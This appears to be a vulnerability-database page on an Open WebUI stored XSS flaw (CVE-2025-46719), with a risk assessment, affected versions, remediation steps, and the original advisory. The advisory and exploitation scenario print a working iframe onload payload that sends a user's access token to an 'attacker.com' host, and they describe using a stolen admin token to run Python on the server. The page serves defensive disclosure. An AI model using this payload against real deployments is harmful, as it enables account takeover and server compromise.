Open WebUI fails to sanitize `<iframe>` tags embedded in chat messages, letting an attacker plant JavaScript that runs every time the poisoned transcript is opened — stealing the viewer's access token from localStorage and, if the victim is an admin, enabling remote code execution on the backend through the built-in Python function editor. Because transcripts can be shared internally or uploaded to the public openwebui.com community, the exploit is wormable: one infected chat can propagate account takeovers across an organization or the wider user base with just a click. There is no public exploit code, no Nuclei template, and it isn't in CISA's KEV, and EPSS places it in the top 65% of scored CVEs rather than the top tier — so mass exploitation isn't imminent, but open-webui already carries 113 other CVEs and a package risk score of 38/100, a track record worth watching. Any team running self-hosted open-webui should patch to 0.6.6 immediately, disable 'Enable Community Sharing' until confirmed patched, and treat any admin whose session touched a shared transcript as potentially compromised.
What is the risk?
High severity, low near-term exploitation likelihood. The bug requires user interaction (opening or being shown a shared chat transcript) rather than being remotely triggerable without engagement, which keeps EPSS modest (0.43%, ~65th percentile) and explains the absence of KEV listing or public exploit tooling. However, impact is severe: full account takeover via token theft, and a realistic path to backend RCE if an admin account is compromised, since open-webui deliberately allows admins to run arbitrary Python via the Functions feature. The wormable nature — infected transcripts propagating via internal sharing or the public openwebui.com community — meaningfully raises real-world exposure for any deployment with sharing enabled, and the package's broader history (113 prior CVEs, risk score 38/100) suggests the codebase merits continued scrutiny beyond this single fix.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | < 0.6.6 | 0.6.6 |
Do you use Open WebUI? You're affected.
How severe is it?
What should I do?
1 step-
Upgrade open-webui to 0.6.6 or later immediately, where the iframe/
{@html}rendering path was fixed. Until patched, disable 'Enable Community Sharing' in the admin panel and restrict or disable chat transcript sharing entirely to limit blast radius. Rotate access tokens for admin and high-privilege accounts, and audit the Functions list (/admin/functions) for any unrecognized or suspicious Python code that may have been planted via a stolen admin token. Going forward, add a strict Content-Security-Policy to blunt future markdown/HTML rendering bugs, avoid storing sensitive tokens in a location readable by page JavaScript where feasible, and monitor for anomalous outbound browser requests (token exfiltration to unfamiliar domains) or newly created admin Functions as a detection signal.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2025-46719?
Open WebUI fails to sanitize `<iframe>` tags embedded in chat messages, letting an attacker plant JavaScript that runs every time the poisoned transcript is opened — stealing the viewer's access token from localStorage and, if the victim is an admin, enabling remote code execution on the backend through the built-in Python function editor. Because transcripts can be shared internally or uploaded to the public openwebui.com community, the exploit is wormable: one infected chat can propagate account takeovers across an organization or the wider user base with just a click. There is no public exploit code, no Nuclei template, and it isn't in CISA's KEV, and EPSS places it in the top 65% of scored CVEs rather than the top tier — so mass exploitation isn't imminent, but open-webui already carries 113 other CVEs and a package risk score of 38/100, a track record worth watching. Any team running self-hosted open-webui should patch to 0.6.6 immediately, disable 'Enable Community Sharing' until confirmed patched, and treat any admin whose session touched a shared transcript as potentially compromised.
Is CVE-2025-46719 actively exploited?
No confirmed active exploitation of CVE-2025-46719 has been reported, but organizations should still patch proactively.
How to fix CVE-2025-46719?
Upgrade open-webui to 0.6.6 or later immediately, where the iframe/`{@html}` rendering path was fixed. Until patched, disable 'Enable Community Sharing' in the admin panel and restrict or disable chat transcript sharing entirely to limit blast radius. Rotate access tokens for admin and high-privilege accounts, and audit the Functions list (/admin/functions) for any unrecognized or suspicious Python code that may have been planted via a stolen admin token. Going forward, add a strict Content-Security-Policy to blunt future markdown/HTML rendering bugs, avoid storing sensitive tokens in a location readable by page JavaScript where feasible, and monitor for anomalous outbound browser requests (token exfiltration to unfamiliar domains) or newly created admin Functions as a detection signal.
What systems are affected by CVE-2025-46719?
This vulnerability affects the following AI/ML architecture patterns: LLM chat interfaces / self-hosted LLM UIs, agent frameworks with code-execution plugins, multi-tenant AI platforms with content sharing.
What is the CVSS score for CVE-2025-46719?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011.003 Malicious Link AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0091.000 Application Access Token Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel. If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code. **This vulnerability also affects chat transcripts uploaded to `https://openwebui.com/c/<user>/<chat_id>`, allowing for wormable stored XSS in https://openwebui.com** ### Details ### Stored XSS The file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code: ```TypeScript {:else if token.text.includes(`<iframe src="${WEBUI_BASE_URL}/api/v1/files/`)} {@html `${token.text}`} ``` That code checks if a chat message has an html tag which contains the text `<iframe src="${WEBUI_BASE_URL}/api/v1/files/`, and if so, it renders that html tag using `{@html}`, which is a dangerous Svelte functionality that allows text to be rendered as HTML code. Attackers can abuse this by sending a chat message with the following payload: `<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>`, where `http://localhost:8080` is the URL where the open-webui backend server is hosted. This will cause a JavaScript alert window to be displayed every time that chat transcript is opened.   In a real attack scenario, instead of injecting `alert(1)` in the `onload` attribute, attackers can use the following code to steal the user's access token and send it to a server they control: `fetch("https://attacker.com/?token=" + localStorage.getItem("token"))` This is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript. Then, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking "Share"  **If "Enable Community Sharing" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed**  This makes the exploit a **wormable Stored XSS**. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well. <hr> ### RCE If an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server. The following HTTP request can be sent to the backend server to execute arbitrary python code.   ### PoC Attackers can abuse this by sending a chat message with the following payload: `<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>`, where `http://localhost:8080` is the URL where the open-webui backend server is hosted. ### Impact Attackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.
Exploitation Scenario
An attacker creates a normal-looking chat on a target open-webui instance and embeds an iframe payload such as `<iframe src="http://<host>/api/v1/files/" onload="fetch('https://attacker.com/?t='+localStorage.getItem('token'))"></iframe>` as a message. They share that chat with other users on the same server, or — if community sharing is enabled — upload it to openwebui.com, where any visitor who opens it silently exfiltrates their access token to the attacker. If an admin's session touches the transcript, the attacker replays the stolen token to open the admin Functions editor and registers a new Function containing malicious Python, which open-webui executes server-side — giving the attacker a foothold on the backend host and access to configured LLM API keys/model endpoints. Because the payload lives inside a shareable chat object, the attack self-propagates: each new viewer who opens the transcript is compromised and can be induced to reshare it, making this a wormable stored XSS chain rather than a one-off phishing link.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui